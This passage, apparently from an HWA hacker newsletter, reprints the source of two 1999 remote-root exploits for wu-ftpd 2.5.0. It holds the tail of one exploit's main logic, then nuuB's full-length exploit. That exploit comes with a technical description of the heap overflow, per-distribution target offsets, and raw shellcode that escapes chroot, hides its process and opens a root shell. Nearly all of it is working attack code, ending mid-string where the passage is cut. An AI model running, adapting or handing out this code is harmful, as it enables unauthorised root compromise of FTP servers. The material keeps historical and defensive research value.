linebuf[LINEBUFLEN]; /* saves us free()ing trouble. */ /* getline * * get next line from server or local buffer */ char * getline (void) { char y[2]; int i = 0; memset (linebuf, '\0', sizeof (linebuf)); strcpy (y, "x"); while (strncmp (y, "\n", 1) != 0) { if (i > (sizeof (linebuf) + 2)) { err (0, "getline() buffer full"); } i += xread (fd, y, 1); strcat (linebuf, y); } if (disp != 0 && debug > 0) { #ifdef COLOR if (nostat != 0) { char color[64]; memset (color, '\0', sizeof (color)); switch (linebuf[0]) { case '2': strcpy (color, C_CYAN); break; case '3': strcpy (color, C_BROWN); break; case '4': strcpy (color, C_RED); break; case '5': strcpy (color, C_RED); break; default: break; } printf ("%s", color); } #endif if (nostat != 0 || debug > 1) printf ("%s", linebuf); #ifdef COLOR if (nostat != 0) printf ("%s", C_NORM); #endif } return (linebuf); } /* getmsg * * discard lines until expected response or error is reported */ char * getmsg (const char *msg) { char *line; int i = strlen (msg); do { line = getline (); } while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0); return (line); } /* log_into_ftp * * log into the ftp server given the login name and password * * return nothing */ void log_into_ftp (void) { char *line; char foundmatch=0; line = getmsg ("220 "); hostinf.header = xstrdup (line); if (!debug) printf("%s", line); if (!offset_selected) { for (sptr = spdata ; sptr->banner ; ++sptr) { if (strstr(line, sptr->banner)) { foundmatch=1; break; } } if (!foundmatch) err(0, "No offset selected, and no matching banner found!"); } printf ("Using offsets from: %s\n", sptr->desc); putserv ("USER %s\n", tesopt.user); getmsg ("331 "); putserv ("PASS %s\n", tesopt.pass); line = getmsg ("230 "); if (strncmp ("5", line, 1) == 0) err (0, "login not accepted!\n"); if (strlen (tesopt.cwd) > 0) { if (cwd (tesopt.cwd) == 0) { err (0, "initial CWD failed."); } } getpwd (); return; } /* recurse_writable * * recursively scans for writable dirs, starting in CWD * * return 1 for CWD is writable * return 0 for no writable dir found */ int recurse_writable (void) { dirptr dirroot = NULL, current = NULL, prev = NULL; char *line = "", *tmp = ""; if (is_writable () != 0) return (1); nostat = 0; putserv ("STAT .\n"); while (strncmp (line, "213 ", 4) != 0) { line = getline (); tmp = getdir (line); if (tmp == NULL) continue; if (dirroot == NULL) { current = dirroot = newdir (tmp); continue; } current->next = newdir (tmp); current = current->next; } nostat = 1; current = dirroot; while (current != NULL) { if (cwd (current->name)) { if (recurse_writable ()) return (1); cwd (".."); } prev = current; current = current->next; free (prev->name); free (prev); } return (0); } /* mkd * * make a directory * * return 0 on success * return 1 if the directory already exists * retrun 2 on error */ int mkd (char *name) { char *line; putserv ("MKD %s\n", name); line = getmsg ("257 "); if (strncmp ("521 ", line, 4) == 0) return (1); if (strncmp ("257 ", line, 4) == 0) return (0); return (2); } /* rmd * * remove a directory * * return 0 on success * return 1 on failure */ int rmd (char *name) { char *line; putserv ("RMD %s\n", name); line = getmsg ("250 "); if (strncmp("250 ", line, 4) == 0) return (0); return (1); } /* is_writeable * * check whether the current working directory is writeable * * return 1 if it is * return 0 if it is not */ int is_writable (void) { int i = 0, is = 0; redo: if (++i > 3) return (0); is = mkd (tesopt.dirname); if (is == 1) { printf ("leet.. our file already exists.. delete and retry\n"); rmd (tesopt.dirname); goto redo; } else if (is == 0) { rmd (tesopt.dirname); return (1); } return (0); } /* cwd * * change current working directory on the ftp server * * return 1 on success * return 0 on failure */ int cwd (const char *path) { char *line; if (debug != 0) printf ("CWD %s\n", path); putserv ("CWD %s\n", path); line = getmsg ("250 "); if (strncmp ("250 ",line, 4) == 0) return (1); return (0); } /* getpwd * * sets hostinf.pwd to CWD * * returns nothing */ void getpwd (void) { char *tmp, *line; char *chr, *rchr; putserv ("PWD\n"); line = getmsg ("257 "); if (strncmp ("257 ", line, 4) != 0) err (0, "getpwd failed: incorrect answer: %s", line); /* too long, but for sure long enough. */ tmp = xcalloc (strlen (line) + 1, 1); chr = strchr (line, '"'); rchr = strrchr (line, '"'); if (chr == NULL) err (0, "no \"'s in getpwd."); if (chr == rchr) err (0, "only one \" in getpwd."); if ((rchr - chr) < 2) err (0, "pwd too short?"); strncat (tmp, chr + 1, rchr - chr - 1); if (hostinf.pwd != NULL) free (hostinf.pwd); hostinf.pwd = xstrdup (tmp); free (tmp); hostinf.pwdlen = strlen (hostinf.pwd); /* printf("current pwd is %s\n", hostinf.pwd); */ } /* getdir * * get directory from a STAT string (parsing works with wuftpd AND proftpd) * * return pointer to directory name on success * return NULL on failure/not a directory */ char * getdir (char *stat) { char *dir = stat; if (strlen (dir) < 57) return (NULL); if (strncmp (" ", dir, 1) == 0) ++dir; if (strncmp ("d", dir, 1) != 0) return (NULL); dir += 55; dir[strlen (dir) - 2] = 0; /* printf("strlen is %d for %s",strlen(dir), dir); */ if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0) return (NULL); return (dir); } /* cleanup_and_exit * * cleanup functions on exit * * return nothing */ void cleanup_and_exit (void) { free (tesopt.rev); free (hostinf.header); free (hostinf.pwd); close (fd); printf ("%s\n", C_NORM); exit (EXIT_SUCCESS); } /* x2port * * like atoi, but with getservbyname if atoi() fails * * return port */ int x2port (const char *smtn) { struct servent *serv; int port; port = atoi (smtn); if (port == 0) { serv = getservbyname (smtn, "tcp"); if (serv != NULL) port = htons (serv->s_port); } return (port); } /* int2char * * converts an integer to 4byte char * * * return port */ char int2char_tmp[8]; char * int2char (int addr) { bzero(&int2char_tmp, 8); int2char_tmp[0] = (addr & 0x000000ff); int2char_tmp[1] = (addr & 0x0000ff00) >> 8; int2char_tmp[2] = (addr & 0x00ff0000) >> 16; int2char_tmp[3] = (addr & 0xff000000) >> 24; int2char_tmp[4] = 0; return (int2char_tmp); } /* wuftpd_250_sploitit * * tries to exploit wuftpd 2.5.0, after all preparation work is done. * * return 0 on error * return 1 on success */ int wuftpd_250_sploitit (void) { int shelloff, times, fill; int start_writing_to_errcatch, argvlen, behind_errcatch; int i, n; char string[2048]; argvlen = strlen ("ftpd: "); argvlen += strlen (tesopt.rev); argvlen += strlen (": "); argvlen += strlen (tesopt.user); argvlen += strlen (": "); if (strncmp ("anonymous", tesopt.user, 9) == 0) argvlen += strlen (tesopt.pass) + 1; times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1); fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times; if (debug > 0) { printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n", hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen); } if (strlen (shellcode) > (tesopt.dirlen - 40)) err(0, "shellcode too big, edit the source to use less padding," "\nhmm.. this shouldn't have happened with LaM3rZ shellcode!"); /* let's try to hit the middle of our 0x90 pad */ shelloff = sptr->mapped_path + hostinf.pwdlen + ( (tesopt.dirlen - strlen(shellcode)) / 2); if (debug > 0) printf ("will try to longjmp to 0x%x\n", shelloff); start_writing_to_errcatch = sptr->errcatch - argvlen; behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8; if (debug > 0) { printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n", sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch); } memset (string, 'A', tesopt.dirlen); if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */ disp = 0; for (i = 0; i < times; i++) { switch (i) { case 0: memset (string, 0x90, tesopt.dirlen); memcpy (string+tesopt.dirlen-strlen(shellcode), shellcode, strlen (shellcode)); break; case 1: memset (string, 0x90, tesopt.dirlen); break; default: break; } string[tesopt.dirlen] = 0; putserv ("MKD %s\n", string); getline (); putserv ("CWD %s\n", string); getline (); } getpwd (); disp = 1; if (debug > 0) printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen); if (fill != sptr->maxpathlen-hostinf.pwdlen) err (0, "Calculation wrong. Error!"); if (fill > 506) err (0, "Aw.. fuck! My fill is waaaay to big!\n"); /* onefile[0], onefile[1] and maybe pad_eax */ fill += sptr->pad_eax ? 12 : 8; n = fill/4; string[0] = 0; for (i=0; i < n; i++) strcat(string, int2char(start_writing_to_errcatch)); for (i=1; i < (fill - (n*4)); i++) strcat(string, "A"); /* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */ strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */ strcat (string, int2char (behind_errcatch)); /* LastArgv */ if (debug > 0) printf ("Sending final CWD\n"); if (strlen (string) < 20) err (0, "cwd string too short.. check for 0x0's.\n"); putserv ("CWD %s\n", string); getline (); /************ jmpbuf ***********/ if (debug > 0) printf ("Sending jmpbuf\n"); string[0] = 0; for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */ strcat (string, int2char (shelloff)); if (strlen (string) != 32) err (0, "jmpbuf string too short.. check for 0x0's.\n"); putserv ("%s\n", string); getline (); return (1); } /* shell * * provide a pseudo shell.. * * return nothing */ void shell (void) { char buf[5120]; int l; fd_set rfds; printf("%sSpawning rootshell:%s\n", C_RED, C_NORM); while (1) { FD_SET (0, &rfds); FD_SET (fd, &rfds); select (fd+1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) cleanup_and_exit (); xwrite (fd, buf, l); } if (FD_ISSET (fd, &rfds)) { l = read (fd, buf, sizeof (buf)); if (l <= 0) cleanup_and_exit (); xwrite (1, buf, l); } } } /* check_test_return * * Check if testcode sploiting was successfull. * * return 0 on failure * return 1 on success */ int check_test_return(char *what, int len) { char line[1024]; int i, flags; fd_set rset; struct timeval tv; printf("w8ing for testshellcode to respond...\n"); flags = fcntl(fd, F_GETFL, 0); if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) err(1, "fcntl fucked up (testshellcode)"); FD_ZERO(&rset); FD_SET(fd, &rset); tv.tv_sec = 10; tv.tv_usec = 0; if (!select(fd + 1, &rset, NULL, NULL, &tv)) err(0, "select timed out(testshellcode)"); i = read(fd, line, len); if (!strncmp(what, line, len)) { printf("%sSploit successfull!%s\n", C_RED, C_NORM); return(1); }; printf("%sSploit not successfull!%s\n", C_RED, C_NORM); return(0); } int main (int argc, char **argv) { int i; title (); if (argc < 3) usage (argv[0]); signal (SIGINT, (void *) &sighandler); signal (SIGQUIT, (void *) &sighandler); parseargs (argc, argv); printf("Connecting...\n"); connect_to_ftp (); log_into_ftp (); if (sptr->need_writable || tesopt.dirscanonly) { printf ("Logged in! Searching for a writable directory...\n"); if (!recurse_writable()) err (0, "kurwa mac! no writable dir found\n"); } else { printf ("Logged in!\n"); } getpwd (); printf (" %s is writable.. rock on!\n", hostinf.pwd); if (!tesopt.dirscanonly) { printf("Trying to sploit...\n"); sptr->code(); tesopt.testonly ? i = check_test_return("teso\n", 5) : shell(); if (!i) printf ("sploiting not successfull\n"); } cleanup_and_exit(); return (0); /* not reached */ } @HWA 35.0 wuftpd250-sploit.c C0ded by nuuB [Sep 19, 1999] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From http://www.hack.co.za /* * wuftpd250-sploit.c - wuftpd 2.5.0 hands us (remote) r00t in the ensuing * chaos that follows a heap overflow. Linux version. * * C0ded by nuuB [Sep 19, 1999] * * Compile with: * * cc wuftpd250-sploit.c -o wuftpd250-sploit * * Credits: * typo for interesting discussions and the double combo idea. * edi for the 'eip in PASS' idea. * lcamtuf for finding the bug and posting on bugtraq. * temas for a RH6 box to test this on. * * Quote: * * " it's wicked... but you can change errcatch and LastArgv at the * same time, thus doing an elite combo and owning the entire world" * * Below is a detailed description of how the exploit works. You shouldn't * have too much trouble understanding what is going on. The code is written * for readability and roboustness (i.e not using the 'printf()|nc' style). * * Have fun, but as always - BEHAVE! * * /nuuB */ /* * Overflow: * * cwd() -> mapping_chdir() -> do_elem() -> strcat(mapped_path, dir); * * Pseudo call sequence for each received FTP command: * * if(command_not_implemented) longjmp(errcatch); * setproctitle(": "); * do_(); * setproctitle(": IDLE"); * * where * * setproctitle() { * copy to Argv[0] and pad with spaces to LastArgv; * } * * Egg: * * /incoming/A--A//A--A/eeee00001111oooooooovvvvLLLL\0 * ^- 0 ^- mp_size-255-256 ^- mp_size * * Pad: A--A=padding/NOP * Data: e=eip for the 2x combo (see below), 0=owned_Argv[0], 1=owned_Argv[1] * Overflowed variables: o=onefile, v=Argv (ptr to Argv[0]), L=LastArgv * * mp_size = sizeof(mapped_path) + any alignment bytes added by the compiler * * We can't get eip directly, but as setproctitle() copies data we have some * control over to the area between Argv[0] and LastArgv we can do some neat * stuff. There are several ways to do it, but this exploit uses the three * different methods outlined below. * * Anon attack: * * We place the pointer to our c0de in PASS (used in setproctitle("IDLE")). * eip can be snagged in different ways. One way is to overwrite the return * address on the stack for setproctitle(), essentially turning the heap * overflow into a stack overflow. The nature of the exploit forces us to * know the exact place on the stack, and this varies with the environment. * Thus this method is very unreliable, but is still included as we do * this for fun :) A better way is to overwrite the JB_PC part of errcatch * and then cause errcatch to be called by issuing an unimplemented command. * Still, we need two offsets, but both are on the heap. As a bonus * this method can't be stopped by Stack Guard or non-executable stacks. * * Required offsets: mapped_path, setproctitle() stack eip / errcatch. * * Account attack: * * There is no controllable data in the setproctitle("IDLE") call so we use * two CWD's and make use of the setproctitle("CWD") calls. The first CWD * will set the Argv stuff so the second CWD (with our eip) gets written * where we want. The second CWD will have to change the Argv's so that * we don't destroy the eip when the final setproctitle("IDLE") call comes. * In this case we can't write eip to the stack as it will be hosed before * we get a chance to use it. This method works for anonymous too and is * unstoppable by Stack Guard etc. * * Required offsets: mapped_path, errcatch. * * Interesting finding: * * When trying to CWD you get a 250 reply under * RH5.1, but under RH6.0 you get a 550 (i.e chdir() fails) - even though * the source for wuftpd is the same in both cases. This probably has to do * with the different kernel/libc's and how they handle long paths. Anyhow, * this needs to be taken into account in the double combo attack. * * Offsets: * * The above methods require two offsets to be known exactly. This gives * us a lot of combinations to try. The amount could possibly be reduced * a bit using more eip pointers, but as mapped_path has to be known * the number of combinations is bigger than I think is practical. Thus * there is no option to enter offsets from the command line. */ #include #include #include #include #include #include #include #include #include #include #include #include extern int errno; /* Offsets that must be known (exactly) */ int mapped_path_size; /* not really an offset... normally 1024 or 4096 */ unsigned long mapped_path; unsigned long eip_addr; /* Values we want to set the corresponding variables to. Calculated from the * above offsets. */ unsigned long c0de_addr; unsigned long owned_Argv0; unsigned long owned_Argv; unsigned long owned_LastArgv; #define TOP_OF_STACK 0xc0000000 /* Variable that decides if mkd_cwd() aborts on errors or not */ int mkd_cwd_bail_on_error=1; /* Lets start collecting offsets... */ struct preset { char *desc; void (*attack)(); int mpsize; unsigned long mp; unsigned long eip_addr; }; void attack_anon(); void attack_any(); /* Offsets can be found using gdb, objdump or ltrace */ struct preset presets[]={ {"eip RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_anon, 4096, 0x0806a1e0, 0xbfffe8a4}, {"ljmp RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999", attack_anon, 1024, 0x08066890, 0x0806fcc0+5*4}, {"ljmp RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999", attack_anon, 1024, 0x08067504, 0x08070930+5*4}, {"ljmp RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999", attack_anon, 4096, 0x08067780, 0x08075520+5*4}, {"ljmp RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_anon, 4096, 0x0806a1e0, 0x08077fc0+5*4}, {"2x RH 5.1 wu-ftpd-2.5.0-1.RH5-1.i386.rpm Fri May 21 10:45:57 EDT 1999", attack_any, 1024, 0x08066890, 0x0806fcc0+5*4}, {"2x RH 5.2 wu-ftpd-2.5.0-0.5.2.i386.rpm Tue Jun 8 11:19:44 EDT 1999", attack_any, 1024, 0x08067504, 0x08070930+5*4}, {"2x RH 6.0 wu-ftpd-2.4.2vr17-3.i386.rpm Mon Apr 19 09:21:53 EDT 1999", attack_any, 4096, 0x08067780, 0x08075520+5*4}, {"2x RH 6.0 wu-ftpd-2.5.0-2.i386.rpm Tue Jun 8 08:55:12 EDT 1999", attack_any, 4096, 0x0806a1e0, 0x08077fc0+5*4}, {0,0,0,0,0} }; /* Some stuff we need */ int ctrl; int verbose; char *local_hostname; char *target_host; int target_port; char *target_user=0; char *target_pass=0; char *target_dir=0; /* * This c0de breaks out of chroot() and then goes through a lot of trouble * to hide the process from the system operator. Finally a shell is spawned. * * c0de: * * setreuid(0,0); mkdir("h"); chroot("h"); for(i=0x42;i;--i) chdir(".."); * chroot("."); hide_process(); execve("/bin/sh"); * * N0n0 c0dez: 0x00, 0x0a, 0x0d and for convenience 0x2f ('/'). */ /* Not optimized for space as we got plenty of room */ #define C0DE_SIZE 402 char c0de[]="\xbc\xfc\xff\xff\xbf\xeb\x02\xeb\x1c\xe8\xf9\xff\xff\xff\x2e\x2e" "\x30\x53\x64\x65\x76\x53\x63\x6f\x6e\x73\x6f\x6c\x65\x30\x53\x62" "\x69\x6e\x53\x73\x68\x5d\x31\xc0\x88\x45\x02\x88\x45\x0f\x88\x45" "\x17\x8d\x5d\x15\x89\x5d\x18\x89\x45\x1c\x04\x2e\x40\x88\x45\x03" "\x88\x45\x07\x88\x45\x10\x88\x45\x14\x31\xc0\x89\xc3\x89\xc1\xb0" "\x46\xcd\x80\x8d\x5d\x16\x31\xc9\x66\xb9\x6d\x01\x31\xc0\xb0\x27" "\xcd\x80\x8d\x5d\x16\x31\xc0\xb0\x3d\xcd\x80\x31\xc9\xb1\x42\x89" "\xeb\x31\xc0\xb0\x0c\xcd\x80\x49\x75\xf5\x8d\x5d\x01\x31\xc0\xb0" "\x3d\xcd\x80\xeb\x5d\x8d\x55\x1c\x8d\x4d\x18\x8d\x5d\x10\x31\xc0" "\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\xb0\x01\xcd\x80\x2a\x02\x02\x04" "\x04\x01\x01\x01\x01\x04\x04\x02\x02\x89\xf3\x66\xb9\x32\x4b\x31" "\xc0\xb0\x36\xcd\x80\xc3\x89\xc2\x53\xc1\xe3\x10\x09\xda\x89\xf3" "\x66\xb9\x30\x4b\x31\xc0\xb0\x36\xcd\x80\x5a\xc1\xe2\x14\x89\x55" "\x08\x31\xc0\x89\x45\x04\x8d\x5d\x04\x31\xc9\xb0\xa2\xcd\x80\xc3" "\xeb\xb2\x8d\x5d\x03\x31\xc9\xb1\x02\x31\xc0\xb0\x05\xcd\x80\x89" "\xc6\x31\xc0\xb0\x9b\x01\xe8\x89\x45\x10\x31\xdb\xb3\xa8\x90\x90" "\x01\xeb\x89\x5d\x18\x31\xc0\xb0\x8e\x01\xe8\x89\x45\x0c\x31\xc9" "\xb1\x06\x51\x59\x49\x51\xe3\xc8\x31\xc0\x40\x8b\x5d\x0c\x88\x03" "\x31\xff\x66\xbf\x5c\x12\x89\xf8\x31\xdb\xb3\x28\xff\x55\x18\x8b" "\x5d\x0c\x31\xc0\x8a\x03\x50\x03\x45\x0c\x31\xd2\x8a\x10\x58\x40" "\x83\xf8\x0c\x75\x03\x31\xc0\x40\x88\x03\xff\x55\x10\x31\xc0\xb0" "\x47\x29\xc7\x66\x81\xff\x60\x09\x73\xcc\x31\xff\x66\xbf\x60\x09" "\x0f\xba\xe7\x01\x73\x07\x31\xd2\xb2\x07\xff\x55\x10\x89\xf8\x31" "\xdb\xb3\x28\xff\x55\x18\x0f\xba\xe7\x01\x73\x07\x31\xd2\x31\xd2" "\xff\x55\x10\x31\xc0\xb0\x65\x01\xc7\x66\x81\xff\x5c\x12\x76\xd0" "\xeb\x81"; void usage() { int i; printf("wuftpd 2.5.0 remote r00t exploit. C0ded by nuuB [Sep 19, 1999].\n\n" "Usage: wuftpd250-sploit \n\n" " = [:@][:][/]\n\n" "Type Neeq Distro RPM Banner date\n" "---- ---- ------ ------------------------------- ----------------------------\n"); for(i=0; presets[i].desc; ++i) { if(presets[i].mpsize) printf("%2d) %s\n", i, presets[i].desc); } printf("\n" " eip = setproctitle() eip overwrite (stack, unreliable, anonymous only)\n" " ljmp = errcatch JB_PC overwrite (heap, anonymous only)\n" " 2x = errcatch JB_PC overwrite using 2x combo (heap)\n"); exit(0); } void parse_url(char *url) { char *u, *s; u=strdup(url); if((s=strrchr(u, '@'))) { *s++=0; target_user=u; u=s; if(!(s=strchr(target_user, ':'))) usage(); *s++=0; target_pass=s; } target_host=u; if((u=strchr(u, '/'))) { target_dir=strdup(u); *u=0; } if((s=strchr(target_host, ':'))) { *s++=0; if(!isdigit(*s)) usage(); target_port=atoi(s); } else target_port=21; } void baile(char *s) { printf("*** %s [errno=%d - %s]\n", s, errno, strerror(errno)); exit(1); } void bail(char *s) { printf("*** %s\n", s); exit(1); } /* Should work on all platforms */ char *htol_LEstr(unsigned long num) { static unsigned char buf[5]; unsigned long n; n=htonl(num); buf[0]=(n>>24)&0xff; buf[1]=(n>>16)&0xff; buf[2]=(n>>8)&0xff; buf[3]=n&0xff; buf[4]=0; if(strlen(buf) != 4 || strchr(buf, '\r') || strchr(buf, '\n') || strchr(buf, '/')) { printf("*** Illegal char in number 0x%08x found!\n\n", (unsigned int)num); bail("Sploit needs to be slightly realigned. No problems, right kidz? B}"); } return buf; } int connect_host() { char *p; int fd; struct sockaddr_in target, me; struct hostent *he; int me_len; /* Connect to victim */ memset(&target, 0, sizeof(struct sockaddr_in)); target.sin_family=AF_INET; if(!inet_aton(target_host, &target.sin_addr)) { if(!(he=gethostbyname(target_host))) baile("Unable to resolve victim hostname."); memcpy((char *)&target.sin_addr, he->h_addr, he->h_length); } target.sin_port=htons(target_port); if((fd=socket(AF_INET, SOCK_STREAM, 0))<0) baile("socket() failed"); if(connect(fd, &target, sizeof(target))) baile("connect() failed"); /* Get local hostname */ me_len=sizeof(me); if(getsockname(fd, &me, &me_len)) baile("Unable to determine local hostname!"); if((he=gethostbyaddr((char *)&me.sin_addr, sizeof(me.sin_addr), AF_INET))) local_hostname=strdup(he->h_name); else if((p=inet_ntoa(me.sin_addr))) { strcpy(local_hostname, p); } else baile("Unable to determine local hostname!"); printf("*** Local hostname: %s\n", local_hostname); return fd; } char *get_response_str() { static char buf[16384]; /* Yer leet-hacked-up ftpd can 0wn the sploiter B] */ char *p; p=buf; while(read(ctrl, p, 1) == 1) { if(*p == '\r') { *p++=0; while(read(ctrl, p, 1) == 1 && *p != '\n') ; if(buf[3] == ' ') { if(verbose == 1) printf("%4.4s\n", buf); else if(verbose >= 2) printf("%s\n", buf); return buf; } p=buf; continue; } ++p; } bail("Server disconnected."); return 0; /* Never reached */ } int get_response() { char *s; s=get_response_str(); if(!isdigit(s[0]) || !isdigit(s[1]) ||!isdigit(s[2])) bail("Illegal response from server."); return atoi(s); } void send_command(unsigned char *cmd) { if(verbose == 1) printf("--> %4.4s\n", cmd); if(verbose >= 2) printf("--> %s\n", cmd); while(*cmd) { if(write(ctrl, cmd, 1) != 1) baile("write failed"); if(*cmd == 0xff) /* 0xff -> IAC IAC */ if(write(ctrl, cmd, 1) != 1) baile("write failed"); ++cmd; } if(write(ctrl, "\r\n", 2) != 2) baile("write failed"); } int mkd_cwd(char *dir) { char buf[1024]; int r; sprintf(buf, "MKD %s", dir); send_command(buf); r=get_response(); if(r != 257 && r != 521) { printf("*** Failed to create dir (reply=%d)\n", r); bail("Aborting."); } sprintf(buf, "CWD %s", dir); send_command(buf); r=get_response(); if(r != 250 && mkd_cwd_bail_on_error) bail("CWD failed."); return r; } /* update_buffer() + shovel_data() moves data between the shell and the * local terminal. */ #define BUFSIZE 128 int update_buffer(char *buf, int *idx, int thisone, int direction) { if(thisone < 0) { if(errno == EINTR || errno == EWOULDBLOCK) return 0; return 1; } if(!thisone) return 1; if(direction < 0) { if(thisone < *idx) memmove(buf, &buf[thisone], *idx-thisone); *idx-=thisone; } else *idx+=thisone; return 0; } void shovel_data(int netfd) { fd_set R,W; char obuf[BUFSIZE], ibuf[BUFSIZE]; int o, i; int done; fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK); fcntl(STDOUT_FILENO, F_SETFL, O_NONBLOCK); fcntl(netfd, F_SETFL, O_NONBLOCK); o=i=done=0; while(!done) { FD_ZERO(&R); FD_ZERO(&W); if(i > 0) FD_SET(STDOUT_FILENO, &W); if(i < BUFSIZE) FD_SET(netfd, &R); if(o > 0) FD_SET(netfd, &W); if(o < BUFSIZE) FD_SET(STDIN_FILENO, &R); select(netfd+1, &R, &W, 0, 0); if(FD_ISSET(STDOUT_FILENO, &W)) done|=update_buffer(ibuf, &i, write(STDOUT_FILENO, ibuf, i), -1); if(FD_ISSET(netfd, &W)) done|=update_buffer(obuf, &o, write(netfd, obuf, o), -1); if(FD_ISSET(STDIN_FILENO, &R)) done|=update_buffer(obuf, &o, read(STDIN_FILENO, &obuf[o], BUFSIZE-o),1); if(FD_ISSET(netfd, &R)) done|=update_buffer(ibuf, &i, read(netfd, &ibuf[i], BUFSIZE-i), 1); } } /* Do the stuff common to the attacks */ int do_prologue() { char buf[1024]; char *s, *t; int pos; verbose=2; mkd_cwd_bail_on_error=1; if(get_response() != 220) bail("No welcome banner."); sprintf(buf, "USER %s", target_user); send_command(buf); if(get_response() != 331) bail("USER failed."); sprintf(buf, "PASS %s", target_pass); send_command(buf); if(get_response() != 230) bail("PASS failed."); if(target_dir) { sprintf(buf, "CWD %s", target_dir); send_command(buf); if(get_response() != 250) bail("CWD failed."); } send_command("PWD"); s=get_response_str(); if(strncmp("257 \"", s, 5) || !(t=strchr(&s[5], '"'))) bail("Unable to get current directory."); /* Pos is how much of mapped_path is used so far (excluding NULL) */ pos=(t-(s+5)); printf("*** Creating deep directory. This may take some time...\n"); verbose=0; /* Align to 256 bytes (excluding trailing /) */ memset(buf, 'A', sizeof(buf)); buf[256-(pos+1)]=0; mkd_cwd(buf); pos+=1+strlen(buf); /* Keep going */ memset(buf, 'A', sizeof(buf)); buf[255]=0; while(pos+255 < mapped_path_size-256*2) { mkd_cwd(buf); pos+=1+strlen(buf); } printf("*** Time to bring out the c0de...\n" "*** Reply codes: 250=OK, 521=Exists, 257=Created, 5xx=Failed\n"); verbose=1; /* alarm(0) B} */ /* c0de[131]=c0de[132]=c0de[255]; */ /* First part of the code */ strncpy(buf, c0de, 255); buf[255]=0; mkd_cwd(buf); pos+=1+255; /* Second part + pad */ memset(buf, 'A', sizeof(buf)); strncpy(buf, c0de+256, C0DE_SIZE-256); buf[255-12-1]=0; mkd_cwd(buf); pos+=1+strlen(buf); /* Sofar mmaped_path_size-12 bytes of mapped_path is used (including null) */ return pos; } void attack_anon() { char buf[1024]; int pos; if(target_user || target_pass) bail("Sorry, this type only works for anonymous FTP..."); printf("*** Logging in as anonymous.\n"); ctrl=connect_host(); /* Calculate offsets */ c0de_addr=mapped_path+mapped_path_size-255-256; owned_Argv=mapped_path+mapped_path_size-8; owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */ /* "ftpd: : anonymous/" */ owned_Argv0=eip_addr-(6+strlen(local_hostname)+12); target_user="anonymous"; sprintf(buf, "%s@tta.ck", htol_LEstr(c0de_addr)); target_pass=buf; pos=do_prologue(); /* This last block starts at mapped_path[mapped_path_size-12] */ memset(buf, 'A', sizeof(buf)); /* Skip eeee for this method */ strncpy(buf+4, htol_LEstr(owned_Argv0), 4); /* Skip sizeof(owned_Argv1)+sizeof(onefile) = 4+8 */ strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); pos+=1+strlen(buf); printf("*** Total egg size is %d. Sending final component.\n", pos); mkd_cwd_bail_on_error=0; /* Ignore the final CWD return code */ mkd_cwd(buf); printf("*** N0w w0u1d b3 4 g00d 71m3 70 g0 54cR1f1c3 4 g047 4nD\n" "*** pr4Y t0 7h3 g0D 0f 0ff537z...\n\n"); /* Cause longjmp(errcatch) - only needed for the errcatch method */ write(ctrl, "MRCP\r\n", 6); } void attack_any() { char buf[1024]; int pos; int prefixlen; if(!target_user || !target_pass) { target_user="anonymous"; target_pass="cr@ck.er"; printf("*** Logging in as anonymous.\n"); } ctrl=connect_host(); /* Calculate offsets */ c0de_addr=mapped_path+mapped_path_size-255-256; owned_Argv=mapped_path+mapped_path_size-8; /* "ftpd: : : CWD " */ prefixlen=14+strlen(local_hostname)+strlen(target_user); /* 'anonymous/' pass */ if(!strcmp(target_user, "ftp") || !strcmp(target_user, "anonymous")) prefixlen+=strlen(target_pass)+1-strlen(target_user)+9; pos=do_prologue(); /* First CWD */ owned_Argv0=eip_addr-prefixlen; owned_Argv=mapped_path+mapped_path_size-8; owned_LastArgv=eip_addr+4+2; /* +2 because spt() works that way */ memset(buf, 'A', sizeof(buf)); strncpy(buf+4, htol_LEstr(owned_Argv0), 4); strncpy(buf+4+4+4+8, htol_LEstr(owned_Argv), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); pos+=1+strlen(buf); printf("*** Total egg size is %d. Sending 2x combo.\n", pos); verbose=1; printf("*** Round-house kick.\n"); mkd_cwd_bail_on_error=0; /* Ignore the CWD return code */ if(mkd_cwd(buf) == 250) { send_command("CWD .."); /* Back up if the chdir() was successful */ get_response(); } /* Second CWD. * * Borrow some room near TOP_OF_STACK ("free space") as a safe place for * the remaining times setproctitle() is called. */ owned_Argv0=TOP_OF_STACK-8; owned_LastArgv=TOP_OF_STACK-1; strncpy(buf, htol_LEstr(c0de_addr), 4); strncpy(buf+4, htol_LEstr(owned_Argv0), 4); strcpy( buf+4+4+4+8+4, htol_LEstr(owned_LastArgv)); printf("*** Elite-airborne-double-kick-to-the-head as featured in " "The 